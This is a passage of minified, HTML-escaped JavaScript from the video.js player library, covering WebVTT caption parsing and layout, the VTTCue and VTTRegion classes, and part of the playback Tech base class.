textPos=0;switch(cue.positionAlign){case&quot;start&quot;:textPos=cue.position;break;case&quot;center&quot;:textPos=cue.position-cue.size/2;break;case&quot;end&quot;:textPos=cue.position-cue.size}&quot;&quot;===cue.vertical?this.applyStyles({left:this.formatStyle(textPos,&quot;%&quot;),width:this.formatStyle(cue.size,&quot;%&quot;)}):this.applyStyles({top:this.formatStyle(textPos,&quot;%&quot;),height:this.formatStyle(cue.size,&quot;%&quot;)}),this.move=function(box){this.applyStyles({top:this.formatStyle(box.top,&quot;px&quot;),bottom:this.formatStyle(box.bottom,&quot;px&quot;),left:this.formatStyle(box.left,&quot;px&quot;),right:this.formatStyle(box.right,&quot;px&quot;),height:this.formatStyle(box.height,&quot;px&quot;),width:this.formatStyle(box.width,&quot;px&quot;)})}}function BoxPosition(obj){var lh,height,width,top;if(obj.div){height=obj.div.offsetHeight,width=obj.div.offsetWidth,top=obj.div.offsetTop;var rects=(rects=obj.div.childNodes)&amp;&amp;(rects=rects[0])&amp;&amp;rects.getClientRects&amp;&amp;rects.getClientRects();obj=obj.div.getBoundingClientRect(),lh=rects?Math.max(rects[0]&amp;&amp;rects[0].height||0,obj.height/rects.length):0}this.left=obj.left,this.right=obj.right,this.top=obj.top||top,this.height=obj.height||height,this.bottom=obj.bottom||top+(obj.height||height),this.width=obj.width||width,this.lineHeight=void 0!==lh?lh:obj.lineHeight}function moveBoxToLinePosition(window,styleBox,containerBox,boxPositions){var boxPosition=new BoxPosition(styleBox),cue=styleBox.cue,linePos=function(cue){if(&quot;number&quot;==typeof cue.line&amp;&amp;(cue.snapToLines||cue.line&gt;=0&amp;&amp;cue.line&lt;=100))return cue.line;if(!cue.track||!cue.track.textTrackList||!cue.track.textTrackList.mediaElement)return-1;for(var track=cue.track,trackList=track.textTrackList,count=0,i=0;i&lt;trackList.length&amp;&amp;trackList[i]!==track;i++)&quot;showing&quot;===trackList[i].mode&amp;&amp;count++;return-1*++count}(cue),axis=[];if(cue.snapToLines){var size;switch(cue.vertical){case&quot;&quot;:axis=[&quot;+y&quot;,&quot;-y&quot;],size=&quot;height&quot;;break;case&quot;rl&quot;:axis=[&quot;+x&quot;,&quot;-x&quot;],size=&quot;width&quot;;break;case&quot;lr&quot;:axis=[&quot;-x&quot;,&quot;+x&quot;],size=&quot;width&quot;}var step=boxPosition.lineHeight,position=step*Math.round(linePos),maxPosition=containerBox[size]+step,initialAxis=axis[0];Math.abs(position)&gt;maxPosition&amp;&amp;(position=position&lt;0?-1:1,position*=Math.ceil(maxPosition/step)*step),linePos&lt;0&amp;&amp;(position+=&quot;&quot;===cue.vertical?containerBox.height:containerBox.width,axis=axis.reverse()),boxPosition.move(initialAxis,position)}else{var calculatedPercentage=boxPosition.lineHeight/containerBox.height*100;switch(cue.lineAlign){case&quot;center&quot;:linePos-=calculatedPercentage/2;break;case&quot;end&quot;:linePos-=calculatedPercentage}switch(cue.vertical){case&quot;&quot;:styleBox.applyStyles({top:styleBox.formatStyle(linePos,&quot;%&quot;)});break;case&quot;rl&quot;:styleBox.applyStyles({left:styleBox.formatStyle(linePos,&quot;%&quot;)});break;case&quot;lr&quot;:styleBox.applyStyles({right:styleBox.formatStyle(linePos,&quot;%&quot;)})}axis=[&quot;+y&quot;,&quot;-x&quot;,&quot;+x&quot;,&quot;-y&quot;],boxPosition=new BoxPosition(styleBox)}var bestPosition=function(b,axis){for(var bestPosition,specifiedPosition=new BoxPosition(b),percentage=1,i=0;i&lt;axis.length;i++){for(;b.overlapsOppositeAxis(containerBox,axis[i])||b.within(containerBox)&amp;&amp;b.overlapsAny(boxPositions);)b.move(axis[i]);if(b.within(containerBox))return b;var p=b.intersectPercentage(containerBox);percentage&gt;p&amp;&amp;(bestPosition=new BoxPosition(b),percentage=p),b=new BoxPosition(specifiedPosition)}return bestPosition||specifiedPosition}(boxPosition,axis);styleBox.move(bestPosition.toCSSCompatValues(containerBox))}function WebVTT$1(){}StyleBox.prototype.applyStyles=function(styles,div){for(var prop in div=div||this.div,styles)styles.hasOwnProperty(prop)&amp;&amp;(div.style[prop]=styles[prop])},StyleBox.prototype.formatStyle=function(val,unit){return 0===val?0:val+unit},CueStyleBox.prototype=_objCreate(StyleBox.prototype),CueStyleBox.prototype.constructor=CueStyleBox,BoxPosition.prototype.move=function(axis,toMove){switch(toMove=void 0!==toMove?toMove:this.lineHeight,axis){case&quot;+x&quot;:this.left+=toMove,this.right+=toMove;break;case&quot;-x&quot;:this.left-=toMove,this.right-=toMove;break;case&quot;+y&quot;:this.top+=toMove,this.bottom+=toMove;break;case&quot;-y&quot;:this.top-=toMove,this.bottom-=toMove}},BoxPosition.prototype.overlaps=function(b2){return this.left&lt;b2.right&amp;&amp;this.right&gt;b2.left&amp;&amp;this.top&lt;b2.bottom&amp;&amp;this.bottom&gt;b2.top},BoxPosition.prototype.overlapsAny=function(boxes){for(var i=0;i&lt;boxes.length;i++)if(this.overlaps(boxes[i]))return!0;return!1},BoxPosition.prototype.within=function(container){return this.top&gt;=container.top&amp;&amp;this.bottom&lt;=container.bottom&amp;&amp;this.left&gt;=container.left&amp;&amp;this.right&lt;=container.right},BoxPosition.prototype.overlapsOppositeAxis=function(container,axis){switch(axis){case&quot;+x&quot;:return this.left&lt;container.left;case&quot;-x&quot;:return this.right&gt;container.right;case&quot;+y&quot;:return this.top&lt;container.top;case&quot;-y&quot;:return this.bottom&gt;container.bottom}},BoxPosition.prototype.intersectPercentage=function(b2){return Math.max(0,Math.min(this.right,b2.right)-Math.max(this.left,b2.left))*Math.max(0,Math.min(this.bottom,b2.bottom)-Math.max(this.top,b2.top))/(this.height*this.width)},BoxPosition.prototype.toCSSCompatValues=function(reference){return{top:this.top-reference.top,bottom:reference.bottom-this.bottom,left:this.left-reference.left,right:reference.right-this.right,height:this.height,width:this.width}},BoxPosition.getSimpleBoxPosition=function(obj){var height=obj.div?obj.div.offsetHeight:obj.tagName?obj.offsetHeight:0,width=obj.div?obj.div.offsetWidth:obj.tagName?obj.offsetWidth:0,top=obj.div?obj.div.offsetTop:obj.tagName?obj.offsetTop:0;return{left:(obj=obj.div?obj.div.getBoundingClientRect():obj.tagName?obj.getBoundingClientRect():obj).left,right:obj.right,top:obj.top||top,height:obj.height||height,bottom:obj.bottom||top+(obj.height||height),width:obj.width||width}},WebVTT$1.StringDecoder=function(){return{decode:function(data){if(!data)return&quot;&quot;;if(&quot;string&quot;!=typeof data)throw new Error(&quot;Error - expected string data.&quot;);return decodeURIComponent(encodeURIComponent(data))}}},WebVTT$1.convertCueToDOMTree=function(window,cuetext){return window&amp;&amp;cuetext?parseContent(window,cuetext):null};WebVTT$1.processCues=function(window,cues,overlay){if(!window||!cues||!overlay)return null;for(;overlay.firstChild;)overlay.removeChild(overlay.firstChild);var paddedOverlay=window.document.createElement(&quot;div&quot;);if(paddedOverlay.style.position=&quot;absolute&quot;,paddedOverlay.style.left=&quot;0&quot;,paddedOverlay.style.right=&quot;0&quot;,paddedOverlay.style.top=&quot;0&quot;,paddedOverlay.style.bottom=&quot;0&quot;,paddedOverlay.style.margin=&quot;1.5%&quot;,overlay.appendChild(paddedOverlay),function(cues){for(var i=0;i&lt;cues.length;i++)if(cues[i].hasBeenReset||!cues[i].displayState)return!0;return!1}(cues)){var boxPositions=[],containerBox=BoxPosition.getSimpleBoxPosition(paddedOverlay),styleOptions={font:Math.round(.05*containerBox.height*100)/100+&quot;px sans-serif&quot;};!function(){for(var styleBox,cue,i=0;i&lt;cues.length;i++)cue=cues[i],styleBox=new CueStyleBox(window,cue,styleOptions),paddedOverlay.appendChild(styleBox.div),moveBoxToLinePosition(0,styleBox,containerBox,boxPositions),cue.displayState=styleBox.div,boxPositions.push(BoxPosition.getSimpleBoxPosition(styleBox))}()}else for(var i=0;i&lt;cues.length;i++)paddedOverlay.appendChild(cues[i].displayState)},WebVTT$1.Parser=function(window,vttjs,decoder){decoder||(decoder=vttjs,vttjs={}),vttjs||(vttjs={}),this.window=window,this.vttjs=vttjs,this.state=&quot;INITIAL&quot;,this.buffer=&quot;&quot;,this.decoder=decoder||new TextDecoder(&quot;utf8&quot;),this.regionList=[]},WebVTT$1.Parser.prototype={reportOrThrowError:function(e){if(!(e instanceof ParsingError))throw e;this.onparsingerror&amp;&amp;this.onparsingerror(e)},parse:function(data){var self=this;function collectNextLine(){for(var buffer=self.buffer,pos=0;pos&lt;buffer.length&amp;&amp;&quot;\r&quot;!==buffer[pos]&amp;&amp;&quot;\n&quot;!==buffer[pos];)++pos;var line=buffer.substr(0,pos);return&quot;\r&quot;===buffer[pos]&amp;&amp;++pos,&quot;\n&quot;===buffer[pos]&amp;&amp;++pos,self.buffer=buffer.substr(pos),line}function parseHeader(input){input.match(/X-TIMESTAMP-MAP/)?parseOptions(input,(function(k,v){if(&quot;X-TIMESTAMP-MAP&quot;===k)!function(input){var settings=new Settings;parseOptions(input,(function(k,v){switch(k){case&quot;MPEGT&quot;:settings.integer(k+&quot;S&quot;,v);break;case&quot;LOCA&quot;:settings.set(k+&quot;L&quot;,parseTimeStamp(v))}}),/[^\d]:/,/,/),self.ontimestampmap&amp;&amp;self.ontimestampmap({MPEGTS:settings.get(&quot;MPEGTS&quot;),LOCAL:settings.get(&quot;LOCAL&quot;)})}(v)}),/=/):parseOptions(input,(function(k,v){if(&quot;Region&quot;===k)!function(input){var settings=new Settings;if(parseOptions(input,(function(k,v){switch(k){case&quot;id&quot;:settings.set(k,v);break;case&quot;width&quot;:settings.percent(k,v);break;case&quot;lines&quot;:settings.integer(k,v);break;case&quot;regionanchor&quot;:case&quot;viewportanchor&quot;:var xy=v.split(&quot;,&quot;);if(2!==xy.length)break;var anchor=new Settings;if(anchor.percent(&quot;x&quot;,xy[0]),anchor.percent(&quot;y&quot;,xy[1]),!anchor.has(&quot;x&quot;)||!anchor.has(&quot;y&quot;))break;settings.set(k+&quot;X&quot;,anchor.get(&quot;x&quot;)),settings.set(k+&quot;Y&quot;,anchor.get(&quot;y&quot;));break;case&quot;scroll&quot;:settings.alt(k,v,[&quot;up&quot;])}}),/=/,/\s/),settings.has(&quot;id&quot;)){var region=new(self.vttjs.VTTRegion||self.window.VTTRegion);region.width=settings.get(&quot;width&quot;,100),region.lines=settings.get(&quot;lines&quot;,3),region.regionAnchorX=settings.get(&quot;regionanchorX&quot;,0),region.regionAnchorY=settings.get(&quot;regionanchorY&quot;,100),region.viewportAnchorX=settings.get(&quot;viewportanchorX&quot;,0),region.viewportAnchorY=settings.get(&quot;viewportanchorY&quot;,100),region.scroll=settings.get(&quot;scroll&quot;,&quot;&quot;),self.onregion&amp;&amp;self.onregion(region),self.regionList.push({id:settings.get(&quot;id&quot;),region:region})}}(v)}),/:/)}data&amp;&amp;(self.buffer+=self.decoder.decode(data,{stream:!0}));try{var line;if(&quot;INITIAL&quot;===self.state){if(!/\r\n|\n/.test(self.buffer))return this;var m=(line=collectNextLine()).match(/^WEBVTT([ \t].*)?$/);if(!m||!m[0])throw new ParsingError(ParsingError.Errors.BadSignature);self.state=&quot;HEADER&quot;}for(var alreadyCollectedLine=!1;self.buffer;){if(!/\r\n|\n/.test(self.buffer))return this;switch(alreadyCollectedLine?alreadyCollectedLine=!1:line=collectNextLine(),self.state){case&quot;HEADER&quot;:/:/.test(line)?parseHeader(line):line||(self.state=&quot;ID&quot;);continue;case&quot;NOTE&quot;:line||(self.state=&quot;ID&quot;);continue;case&quot;ID&quot;:if(/^NOTE($|[ \t])/.test(line)){self.state=&quot;NOTE&quot;;break}if(!line)continue;self.cue=new(self.vttjs.VTTCue||self.window.VTTCue)(0,0,&quot;&quot;);try{self.cue.align=&quot;center&quot;}catch(e){self.cue.align=&quot;middle&quot;}if(self.state=&quot;CUE&quot;,-1===line.indexOf(&quot;--\x3e&quot;)){self.cue.id=line;continue}case&quot;CUE&quot;:try{parseCue(line,self.cue,self.regionList)}catch(e){self.reportOrThrowError(e),self.cue=null,self.state=&quot;BADCUE&quot;;continue}self.state=&quot;CUETEXT&quot;;continue;case&quot;CUETEXT&quot;:var hasSubstring=-1!==line.indexOf(&quot;--\x3e&quot;);if(!line||hasSubstring&amp;&amp;(alreadyCollectedLine=!0)){self.oncue&amp;&amp;self.oncue(self.cue),self.cue=null,self.state=&quot;ID&quot;;continue}self.cue.text&amp;&amp;(self.cue.text+=&quot;\n&quot;),self.cue.text+=line.replace(/\u2028/g,&quot;\n&quot;).replace(/u2029/g,&quot;\n&quot;);continue;case&quot;BADCUE&quot;:line||(self.state=&quot;ID&quot;);continue}}}catch(e){self.reportOrThrowError(e),&quot;CUETEXT&quot;===self.state&amp;&amp;self.cue&amp;&amp;self.oncue&amp;&amp;self.oncue(self.cue),self.cue=null,self.state=&quot;INITIAL&quot;===self.state?&quot;BADWEBVTT&quot;:&quot;BADCUE&quot;}return this},flush:function(){try{if(this.buffer+=this.decoder.decode(),(this.cue||&quot;HEADER&quot;===this.state)&amp;&amp;(this.buffer+=&quot;\n\n&quot;,this.parse()),&quot;INITIAL&quot;===this.state)throw new ParsingError(ParsingError.Errors.BadSignature)}catch(e){this.reportOrThrowError(e)}return this.onflush&amp;&amp;this.onflush(),this}};var vtt=WebVTT$1,directionSetting={&quot;&quot;:1,lr:1,rl:1},alignSetting={start:1,center:1,end:1,left:1,right:1,auto:1,&quot;line-left&quot;:1,&quot;line-right&quot;:1};function findAlignSetting(value){return&quot;string&quot;==typeof value&amp;&amp;(!!alignSetting[value.toLowerCase()]&amp;&amp;value.toLowerCase())}function VTTCue(startTime,endTime,text){this.hasBeenReset=!1;var _id=&quot;&quot;,_pauseOnExit=!1,_startTime=startTime,_endTime=endTime,_text=text,_region=null,_vertical=&quot;&quot;,_snapToLines=!0,_line=&quot;auto&quot;,_lineAlign=&quot;start&quot;,_position=&quot;auto&quot;,_positionAlign=&quot;auto&quot;,_size=100,_align=&quot;center&quot;;Object.defineProperties(this,{id:{enumerable:!0,get:function(){return _id},set:function(value){_id=&quot;&quot;+value}},pauseOnExit:{enumerable:!0,get:function(){return _pauseOnExit},set:function(value){_pauseOnExit=!!value}},startTime:{enumerable:!0,get:function(){return _startTime},set:function(value){if(&quot;number&quot;!=typeof value)throw new TypeError(&quot;Start time must be set to a number.&quot;);_startTime=value,this.hasBeenReset=!0}},endTime:{enumerable:!0,get:function(){return _endTime},set:function(value){if(&quot;number&quot;!=typeof value)throw new TypeError(&quot;End time must be set to a number.&quot;);_endTime=value,this.hasBeenReset=!0}},text:{enumerable:!0,get:function(){return _text},set:function(value){_text=&quot;&quot;+value,this.hasBeenReset=!0}},region:{enumerable:!0,get:function(){return _region},set:function(value){_region=value,this.hasBeenReset=!0}},vertical:{enumerable:!0,get:function(){return _vertical},set:function(value){var setting=function(value){return&quot;string&quot;==typeof value&amp;&amp;!!directionSetting[value.toLowerCase()]&amp;&amp;value.toLowerCase()}(value);if(!1===setting)throw new SyntaxError(&quot;Vertical: an invalid or illegal direction string was specified.&quot;);_vertical=setting,this.hasBeenReset=!0}},snapToLines:{enumerable:!0,get:function(){return _snapToLines},set:function(value){_snapToLines=!!value,this.hasBeenReset=!0}},line:{enumerable:!0,get:function(){return _line},set:function(value){if(&quot;number&quot;!=typeof value&amp;&amp;&quot;auto&quot;!==value)throw new SyntaxError(&quot;Line: an invalid number or illegal string was specified.&quot;);_line=value,this.hasBeenReset=!0}},lineAlign:{enumerable:!0,get:function(){return _lineAlign},set:function(value){var setting=findAlignSetting(value);setting?(_lineAlign=setting,this.hasBeenReset=!0):console.warn(&quot;lineAlign: an invalid or illegal string was specified.&quot;)}},position:{enumerable:!0,get:function(){return _position},set:function(value){if(value&lt;0||value&gt;100)throw new Error(&quot;Position must be between 0 and 100.&quot;);_position=value,this.hasBeenReset=!0}},positionAlign:{enumerable:!0,get:function(){return _positionAlign},set:function(value){var setting=findAlignSetting(value);setting?(_positionAlign=setting,this.hasBeenReset=!0):console.warn(&quot;positionAlign: an invalid or illegal string was specified.&quot;)}},size:{enumerable:!0,get:function(){return _size},set:function(value){if(value&lt;0||value&gt;100)throw new Error(&quot;Size must be between 0 and 100.&quot;);_size=value,this.hasBeenReset=!0}},align:{enumerable:!0,get:function(){return _align},set:function(value){var setting=findAlignSetting(value);if(!setting)throw new SyntaxError(&quot;align: an invalid or illegal alignment string was specified.&quot;);_align=setting,this.hasBeenReset=!0}}}),this.displayState=void 0}VTTCue.prototype.getCueAsHTML=function(){return WebVTT.convertCueToDOMTree(window,this.text)};var vttcue=VTTCue,scrollSetting={&quot;&quot;:!0,up:!0};function isValidPercentValue(value){return&quot;number&quot;==typeof value&amp;&amp;value&gt;=0&amp;&amp;value&lt;=100}var vttregion=function(){var _width=100,_lines=3,_regionAnchorX=0,_regionAnchorY=100,_viewportAnchorX=0,_viewportAnchorY=100,_scroll=&quot;&quot;;Object.defineProperties(this,{width:{enumerable:!0,get:function(){return _width},set:function(value){if(!isValidPercentValue(value))throw new Error(&quot;Width must be between 0 and 100.&quot;);_width=value}},lines:{enumerable:!0,get:function(){return _lines},set:function(value){if(&quot;number&quot;!=typeof value)throw new TypeError(&quot;Lines must be set to a number.&quot;);_lines=value}},regionAnchorY:{enumerable:!0,get:function(){return _regionAnchorY},set:function(value){if(!isValidPercentValue(value))throw new Error(&quot;RegionAnchorX must be between 0 and 100.&quot;);_regionAnchorY=value}},regionAnchorX:{enumerable:!0,get:function(){return _regionAnchorX},set:function(value){if(!isValidPercentValue(value))throw new Error(&quot;RegionAnchorY must be between 0 and 100.&quot;);_regionAnchorX=value}},viewportAnchorY:{enumerable:!0,get:function(){return _viewportAnchorY},set:function(value){if(!isValidPercentValue(value))throw new Error(&quot;ViewportAnchorY must be between 0 and 100.&quot;);_viewportAnchorY=value}},viewportAnchorX:{enumerable:!0,get:function(){return _viewportAnchorX},set:function(value){if(!isValidPercentValue(value))throw new Error(&quot;ViewportAnchorX must be between 0 and 100.&quot;);_viewportAnchorX=value}},scroll:{enumerable:!0,get:function(){return _scroll},set:function(value){var setting=function(value){return&quot;string&quot;==typeof value&amp;&amp;!!scrollSetting[value.toLowerCase()]&amp;&amp;value.toLowerCase()}(value);!1===setting?console.warn(&quot;Scroll: an invalid or illegal string was specified.&quot;):_scroll=setting}}})},browserIndex=createCommonjsModule((function(module){var vttjs=module.exports={WebVTT:vtt,VTTCue:vttcue,VTTRegion:vttregion};window_1.vttjs=vttjs,window_1.WebVTT=vttjs.WebVTT;var cueShim=vttjs.VTTCue,regionShim=vttjs.VTTRegion,nativeVTTCue=window_1.VTTCue,nativeVTTRegion=window_1.VTTRegion;vttjs.shim=function(){window_1.VTTCue=cueShim,window_1.VTTRegion=regionShim},vttjs.restore=function(){window_1.VTTCue=nativeVTTCue,window_1.VTTRegion=nativeVTTRegion},window_1.VTTCue||vttjs.shim()}));browserIndex.WebVTT,browserIndex.VTTCue,browserIndex.VTTRegion;var Tech=function(_Component){function Tech(options,ready){var _this;return void 0===options&amp;&amp;(options={}),void 0===ready&amp;&amp;(ready=function(){}),options.reportTouchActivity=!1,(_this=_Component.call(this,null,options,ready)||this).onDurationChange_=function(e){return _this.onDurationChange(e)},_this.trackProgress_=function(e){return _this.trackProgress(e)},_this.trackCurrentTime_=function(e){return _this.trackCurrentTime(e)},_this.stopTrackingCurrentTime_=function(e){return _this.stopTrackingCurrentTime(e)},_this.disposeSourceHandler_=function(e){return _this.disposeSourceHandler(e)},_this.hasStarted_=!1,_this.on(&quot;playing&quot;,(function(){this.hasStarted_=!0})),_this.on(&quot;loadstart&quot;,(function(){this.hasStarted_=!1})),ALL.names.forEach((function(name){var props=ALL[name];options&amp;&amp;options[props.getterName]&amp;&amp;(_this[props.privateName]=options[props.getterName])})),_this.featuresProgressEvents||_this.manualProgressOn(),_this.featuresTimeupdateEvents||_this.manualTimeUpdatesOn(),[&quot;Text&quot;,&quot;Audio&quot;,&quot;Video&quot;].forEach((function(track){!1===options[&quot;native&quot;+track+&quot;Tracks&quot;]&amp;&amp;(_this[&quot;featuresNative&quot;+track+&quot;Tracks&quot;]=!1)})),!1===options.nativeCaptions||!1===options.nativeTextTracks?_this.featuresNativeTextTracks=!1:!0!==options.nativeCaptions&amp;&amp;!0!==options.nativeTextTracks||(_this.featuresNativeTextTracks=!0),_this.featuresNativeTextTracks||_this.emulateTextTracks(),_this.preloadTextTracks=!1!==options.preloadTextTracks,_this.autoRemoteTextTracks_=new ALL.text.ListClass,_this.initTrackListeners(),options.nativeControlsForTouch||_this.emitTapEvents(),_this.constructor&amp;&amp;(_this.name_=_this.constructor.name||&quot;Unknown Tech&quot;),_this}inheritsLoose(Tech,_Component);var _proto=Tech.prototype;return _proto.triggerSourceset=function(src){var _this2=this;this.isReady_||this.one(&quot;ready&quot;,(function(){return _this2.setTimeout((function(){return _this2.triggerSourceset(src)}),1)})),this.trigger({src:src,type:&quot;sourceset&quot;})},_proto.manualProgressOn=function(){this.on(&quot;durationchange&quot;,this.onDurationChange_),this.manualProgress=!0,this.one(&quot;ready&quot;,this.trackProgress_)},_proto.manualProgressOff=function(){this.manualProgress=!1,this.stopTrackingProgress(),this.off(&quot;durationchange&quot;,this.onDurationChange_)},_proto.trackProgress=function(event){this.stopTrackingProgress(),this.progressInterval=this.setInterval(bind(this,(function(){var numBufferedPercent=this.bufferedPercent();this.bufferedPercent_!==numBufferedPercent&amp;&amp;this.trigger(&quot;progress&quot;),this.bufferedPercent_=numBufferedPercent,1===numBufferedPercent&amp;&amp;this.stopTrackingProgress()})),500)},_proto.onDurationChange=function(event){this.duration_=this.duration()},_proto.buffered=function(){return createTimeRanges(0,0)},_proto.bufferedPercent=function(){return bufferedPercent(this.buffered(),this.duration_)},_proto.stopTrackingProgress=function(){this.clearInterval(this.progressInterval)},_proto.manualTimeUpdatesOn=function(){this.manualTimeUpdates=!0,this.on(&quot;play&quot;,this.trackCurrentTime_),this.on(&quot;pause&quot;,this.stopTrackingCurrentTime_)},_proto.manualTimeUpdatesOff=function(){this.manualTimeUpdates=!1,this.stopTrackingCurrentTime(),this.off(&quot;play&quot;,this.trackCurrentTime_),this.off(&quot;pause&quot;,this.stopTrackingCurrentTime_)},_proto.trackCurrentTime=function(){this.currentTimeInterval&amp;&amp;this.stopTrackingCurrentTime(),this.currentTimeInterval=this.setInterval((function(){this.trigger({type:&quot;timeupdate&quot;,target:this,manuallyTriggered:!0})}),250)},_proto.stopTrackingCurrentTime=function(){this.clearInterval(this.currentTimeInterval),this.trigger({type:&quot;timeupdate&quot;,target:this,manuallyTriggered:!0})},_proto.dispose=function(){this.clearTracks(NORMAL.names),this.manualProgress&amp;&amp;this.manualProgressOff(),this.manualTimeUpdates&amp;&amp;this.manualTimeUpdatesOff(),_Component.prototype.dispose.call(this)},_proto.clearTracks=function(types){var _this3=this;(types=[].concat(types)).forEach((function(type){for(var list=_this3[type+&quot;Tracks&quot;]()||[],i=list.length;i--;){var track=list[i];&quot;text&quot;===type&amp;&amp;_this3.removeRemoteTextTrack(track),list.removeTrack(track)}}))},_proto.cleanupAutoTextTracks=function(){for(var list=this.autoRemoteTextTracks_||[],i=list.length;i--;){var track=list[i];this.removeRemoteTextTrack(track)}},_proto.reset=function(){},_proto.crossOrigin=function(){},_proto.setCrossOrigin=function(){},_proto.error=function(err){return void 0!==err&amp;&amp;(this.error_=new MediaError(err),this.trigger(&quot;error&quot;)),this.error_},_proto.played=function(){return this.hasStarted_?createTimeRanges(0,0):createTimeRanges()},_proto.play=function(){},_proto.setScrubbing=function(){},_proto.scrubbing=function(){},_proto.setCurrentTime=function(){this.manualTimeUpdates&amp;&amp;this.trigger({type:&quot;timeupdate&quot;,target:this,manuallyTriggered:!0})},_proto.initTrackListeners=function(){var _this4=this;NORMAL.names.forEach((function(name){var props=NORMAL[name],trackListChanges=function(){_this4.trigger(name+&quot;trackchange&quot;)},tracks=_this4[props.getterName]();tracks.addEventListener(&quot;removetrack&quot;,trackListChanges),tracks.addEventListener(&quot;addtrack&quot;,trackListChanges),_this4.on(&quot;dispose&quot;,(function(){tracks.removeEventListener(&quot;removetrack&quot;,trackListChanges),tracks.removeEventListener(&quot;addtrack&quot;,trackListChanges)}))}))},_proto.addWebVttScript_=function(){var _this5=this;if(!window.WebVTT)if(document.body.contains(this.el())){if(!this.options_[&quot;vtt.js&quot;]&amp;&amp;isPlain(browserIndex)&amp;&amp;Object.keys(browserIndex).length&gt;0)return void this.trigger(&quot;vttjsloaded&quot;);var script=document.createElement(&quot;script&quot;);script.src=this.options_[&quot;vtt.js&quot;]||&quot;https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js&quot;,script.onload=function(){_this5.trigger(&quot;vttjsloaded&quot;)},script.onerror=function(){_this5.trigger(&quot;vttjserror&quot;)},this.on(&quot;dispose&quot;,(function(){script.onload=null,script.onerror=null})),window.WebVTT=!0,this.el().parentNode.appendChild(script)}else this.ready(this.addWebVttScript_)},_proto.emulateTextTracks=function(){var _this6=this,tracks=this.textTracks(),remoteTracks=this.remoteTextTracks(),handleAddTrack=function(e){return tracks.addTrack(e.track)},handleRemoveTrack=function(e){return tracks.removeTrack(e.track)};remoteTracks.on(&quot;addtrack&quot;,handleAddTrack),remoteTracks.on(&quot;removetrack&quot;,handleRemoveTrack),this.addWebVttScript_();var updateDisplay=function(){return _this6.trigger(&quot;texttrackchange&quot;)},textTracksChanges=function(){updateDisplay();for(var i=0;i&lt;tracks.length;i++){var track=tracks[i];track.removeEventListener(&quot;cuechange&quot;,updateDisplay),&quot;showing&quot;===track.mode&amp;&amp;track.addEventListener(&quot;cuechange&quot;,updateDisplay)}};textTracksChanges(),tracks.addEventListener(&quot;change&quot;,textTracksChanges),tracks.addEventListener(&quot;addtrack&quot;,textTracksChanges),tracks.addEventListener(&quot;removetrack&quot;,textTracksChanges),this.on(&quot;dispose&quot;,(function(){remoteTracks.off(&quot;addtrack&quot;,handleAddTrack),remoteTracks.off(&quot;removetrack&quot;,handleRemoveTrack),tracks.removeEventListener(&quot;change&quot;,textTracksChanges),tracks.removeEventListener(&quot;addtrack&quot;,textTracksChanges),tracks.removeEventListener(&quot;removetrack&quot;,textTracksChanges);for(var i=0;i&lt;tracks.length;i++){tracks[i].removeEventListener(&quot;cuechange&quot;,updateDisplay)}}))},_proto.addTextTrack=function(kind,label,language){if(!kind)throw new Error(&quot;TextTrack kind is required but was not provided&quot;);return function(self,kind,label,language,options){void 0===options&amp;&amp;(options={});var tracks=self.textTracks();options.kind=kind,label&amp;&amp;(options.label=label),language&amp;&amp;(options.language=language),options.tech=self;var track=new ALL.text.TrackClass(options);return tracks.addTrack(track),track}(this,kind,label,language)},_proto.createRemoteTextTrack=function(options){var track=mergeOptions$3(options,{tech:this});return new REMOTE.remoteTextEl.TrackClass(track)},_proto.addRemoteTextTrack=function(options,manualCleanup){var _this7=this;void 0===options&amp;&amp;(options={});var htmlTrackElement=this.createRemoteTextTrack(options);return!0!==manualCleanup&amp;&amp;!1!==manualCleanup&amp;&amp;(log$1.warn(&#039;Calling addRemoteTextTrack without explicitly setting the &quot;manualCleanup&quot; parameter to `true` is deprecated and default to `false` in future version of video.js&#039;),manualCleanup=!0),this.remoteTextTrackEls().addTrackElement_(htmlTrackElement),this.remoteTextTracks().addTrack(htmlTrackElement.track),!0!==manualCleanup&amp;&amp;this.ready((function(){return _this7.autoRemoteTextTracks_.addTrack(htmlTrackElement.track)})),htmlTrackElement},_proto.removeRemoteTextTrack=function(track){var trackElement=this.remoteTextTrackEls().getTrackElementByTrack_(track);this.remoteTextTrackEls().removeTrackElement_(trackElement),this.remoteTextTracks().removeTrack(track),this.autoRemoteTextTracks_.removeTrack(track)},_proto.getVideoPlaybackQuality=function(){return{}},_proto.requestPictureInPicture=function(){var PromiseClass=this.options_.Promise||window.Promise;if(PromiseClass)return PromiseClass.reject()},_proto.disablePictureInPicture=function(){return!0},_proto.setDisablePictureInPicture=function(){},_proto.setPoster=function(){},_proto.playsinline=function(){},_proto.setPlaysinline=function(){},_proto.overrideNativeAudioTracks=function(){},_proto.overrideNativeVideoTracks=function(){},_proto.canPlayType=function(){return&quot;&quot;},Tech.canPlayType=function(){return&quot;&quot;},Tech.canPlaySource=function(srcObj,options){return Tech.canPlayType(srcObj.type)},Tech.isTech=function(component){return component.prototype instanceof Tech||component instanceof Tech||component===Tech},Tech.registerTech=function(name,tech){if(Tech.techs_||(Tech.techs_={}),!Tech.isTech(tech))throw new Error(&quot;Tech &quot;+name+&quot; must be a Tech&quot;);if(!Tech.canPlayType)throw new Error(&quot;Techs must have a static canPlayType method on them&quot;);if(!Tech.canPlaySource)throw new Error(&quot;Techs must have a static canPlaySource method on them&quot;);return name=toTitleCase$1(name),Tech.techs_[name]=tech,Tech.techs_[toLowerCase(name)]=tech,&quot;Tech&quot;!==name&amp;&amp;Tech.defaultTechOrder_.push(name),tech},Tech.getTech=function(name){if(name)return Tech.techs_&amp;&amp;Tech.techs_[name]?Tech.techs_[name]:(name=toTitleCase$1(name),window&amp;&amp;window.videojs&amp;&amp;window.videojs[name]?(log$1.warn(&quot;The &quot;+name+&quot; tech was added to the videojs object when it should be registered using videojs.registerTech(name, tech)&quot;),window.videojs[name]):void 0)},Tech}(Component$1);ALL.names.forEach((function(name){var props=ALL[name];Tech.prototype[props.getterName]=function(){return this[props.privateName]=this[props.privateName]||new props.ListClass,this[props.privateName]}})),Tech.prototype.featuresVolumeControl=!0,Tech.prototype.featuresMuteControl=!0,Tech.prototype.featuresFullscreenResize=!1,Tech.prototype.featuresPlaybackRate=!1,Tech.prototype.featuresProgressEvents=!1,Tech.prototype.featuresSourceset=!1,Tech.prototype.featuresTimeupdateEvents=!1,Tech.prototype.featuresNativeTextTracks=!1,Tech.withSourceHandlers=function(_Tech){_Tech.registerSourceHandler=function(handler,index){var 